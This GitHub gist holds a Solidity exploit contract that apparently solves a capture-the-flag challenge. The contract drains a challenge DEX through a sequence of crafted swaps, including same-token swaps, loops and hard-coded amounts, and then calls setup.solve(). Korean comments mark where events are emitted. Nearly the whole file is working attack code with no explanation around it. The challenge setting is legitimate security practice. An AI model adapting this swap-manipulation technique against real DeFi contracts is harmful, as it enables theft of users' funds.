Skip to content

Instantly share code, notes, and snippets.

@kangsangsoo
Last active July 11, 2025 09:43
Show Gist options
  • Select an option

  • Save kangsangsoo/767688265f19d9650a7ae937659110ff to your computer and use it in GitHub Desktop.

Select an option

Save kangsangsoo/767688265f19d9650a7ae937659110ff to your computer and use it in GitHub Desktop.
solve.sol
pragma solidity ^0.8.25;
import "./DEX.sol";
import "./Token.sol";
import "./Setup.sol";
contract Solve {
DEX public dex;
address public gate_address;
Token public token0;
Token public token1;
Token public token2;
Setup public setup;
bytes32 public t0 = keccak256(abi.encodePacked("USDC"));
bytes32 public t1 = keccak256(abi.encodePacked("PURR"));
bytes32 public t2 = keccak256(abi.encodePacked("MOODENG"));
constructor(address _setup, address _dex, address _gate_address, address _token0, address _token1, address _token2) {
dex = DEX(_dex);
gate_address = _gate_address;
token0 = Token(_token0);
token1 = Token(_token1);
token2 = Token(_token2);
setup = Setup(_setup);
}
function re1() public {
if(token2.balanceOf(address(this)) == 0) return;
dex.swap(address(dex), t2, t2, token2.balanceOf(address(this)), true);
}
function solve111() public {
dex.swap(address(this), t1, t0, token1.balanceOf(address(this)), false); //// 여기서 event emit되고
dex.swap(address(this), t2, t0, token2.balanceOf(address(this)), false); //// 여기서 event emit되고
dex.swap(address(this), t0, t0, token0.balanceOf(address(this)), false); //// 여기서 event emit되고
dex.swap(address(this), t0, t0, token0.balanceOf(address(dex)), false); //// 여기서 event emit되고
dex.swap(address(this), t0, t0, token0.balanceOf(address(dex)), false); //// 여기서 event emit되고
dex.swap(address(this), t0, t0, token0.balanceOf(address(dex)), false); //// 여기서 event emit되고
dex.swap(address(this), t0, t0, token0.balanceOf(address(dex)), false); //// 여기서 event emit되고
dex.swap(address(this), t0, t0, token0.balanceOf(address(dex)), false); //// 여기서 event emit되고
dex.swap(address(this), t0, t0, 482116127357947500002+190558063678973750001, false); //// 여기서 event emit되고
}
function solve11() public {
dex.swap(address(this), t2, t1, token1.balanceOf(address(dex)) * 200000 / 190000 + 1, false); //// 여기서 event emit되고
dex.swap(address(this), t2, t1, token1.balanceOf(address(this)), false); //// 여기서 event emit되고
dex.swap(address(this), t2, t1, 130950000000000000000, false); //// 여기서 event emit되고
}
function solve1() public {
token0.approve(address(dex), 1000000000 ether);
token1.approve(address(dex), 1000000000 ether);
token2.approve(address(dex), 1000000000 ether);
dex.swap(address(this), t0, t2, token0.balanceOf(address(this)), false);
dex.swap(address(this), t0, t2, token0.balanceOf(address(this)), false); //// 여기서 event emit되고
dex.swap(address(this), t0, t2, token0.balanceOf(address(this)), false); //// 여기서 event emit되고
dex.swap(address(this), t0, t2, token0.balanceOf(address(this)), false); //// 여기서 event emit되고
for(uint i = 0; i < 30; i++) {
dex.swap(address(this), t0, t2, token0.balanceOf(address(this)), false); //// 여기서 event emit되고
}
dex.swap(address(this), t0, t2, 3808100000000000000/4, false); //// 여기서 event emit되고
dex.swap(address(this), t0, t2, 3808100000000000000/4, false); //// 여기서 event emit되고
dex.swap(address(this), t0, t2, 3808100000000000000/4, false); //// 여기서 event emit되고
// dex.swap(address(this), t2, t1, token0.balanceOf(address(this)), false);
// dex.swap(address(this), t2, t1, 100000000 ether, false); //// 여기서 event emit되고
// dex.swap(address(this), t1, t2, token0.balanceOf(address(dex)) * 200_000 / 190_000, false);
// dex.swap(address(this), t1, t2, 100000000 ether, false);
// dex.swap(address(this), t0, t1, token0.balanceOf(address(this)), false);
// dex.swap(address(this), t0, t1, 700 ether, false);
// dex.swap(address(this), t0, t2, token2.balanceOf(address(dex)) * 190_000 / 1_000_000 + 17000000000000 + 130 ether, false);
// dex.swap(address(this), t0, t2, token2.balanceOf(address(dex)), false);
// dex.swap(address(this), t0, t2, 1 ether, false);
// dex.swap(address(this), t2, t1, (token1.balanceOf(address(dex)) * 190_000 / 200_000) + 1, false);
// dex.swap(address(this), t2, t1, 2000 ether, false);
// setup.solve();
}
function solve2() public {
dex.swap(address(this), t0, t1, (1200 / 5) * 1 ether, false);
dex.swap(address(this), t0, t1, 100000000 ether, false); //// 여기서 event emit되고
// dex.swap(address(this), t1, t2, token0.balanceOf(address(dex)) * 200_000 / 190_000, false);
// dex.swap(address(this), t1, t2, 100000000 ether, false);
// require(token1.balanceOf(address(this)) > 5000 ether);
// // dex.swap(address(this), t1, t0, token0.balanceOf(address(this)), true);
// // dex.swap(address(this), t1, t0, 3000 ether, false);
// dex.swap(address(this), t1, t0, 100000 ether, false);
// dex.swap(address(this), t1, t0, 100000 ether, false);
// dex.swap(address(this), t1, t0, 1000 ether, false);
// dex.swap(address(this), t1, t0, 1000000 ether, false);
// dex.swap(address(this), t1, t0, 1000000 ether, false);
}
function solve3() public {
dex.swap(address(this), t1, t0, 1200 * 5 ether, false);
dex.swap(address(this), t1, t2, 1200 ether, false);
setup.solve();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment